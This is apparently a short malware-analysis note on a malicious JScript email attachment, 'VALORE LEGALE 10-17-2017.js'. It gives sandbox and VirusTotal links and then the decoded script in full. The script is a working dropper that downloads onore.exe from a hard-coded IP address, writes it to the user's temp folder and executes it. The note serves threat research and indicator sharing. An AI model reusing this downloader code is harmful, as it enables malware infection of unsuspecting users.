VALORE LEGALE 10-17-2017.js

Encoded file: https://www.reverse.it/sample/35516855e1ca3a638afa09af0e0771d6eff3a91ec8d01899c8840d397ceed501

VirusTotal: https://www.virustotal.com/#/file/35516855e1ca3a638afa09af0e0771d6eff3a91ec8d01899c8840d397ceed501/detection

Decoded script:

var ws = new ActiveXObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round(Math.random() * 100000000) + ".exe";
var dn = 0;
var xo = new ActiveXObject("MSXML2.XMLHTTP");
xo.onreadystatechange = function() {
    if (xo.readyState == 4 && xo.status == 200) {
        var xa = new ActiveXObject("ADODB.Stream");
        xa.open();
        xa.type = 1;
        xa.write(xo.ResponseBody);
        if (xa.size > 5000) {
            dn = 1;
            xa.position = 0;
            xa.saveToFile(fn, 2);
            try {
                ws.Run(fn, 1, 0);
            } catch (er) {};
        };
        xa.close();
    };
};
try {
    xo.open("GET", "http://89.45.67.144/onore.exe", false);
    xo.send();
} catch (er) {};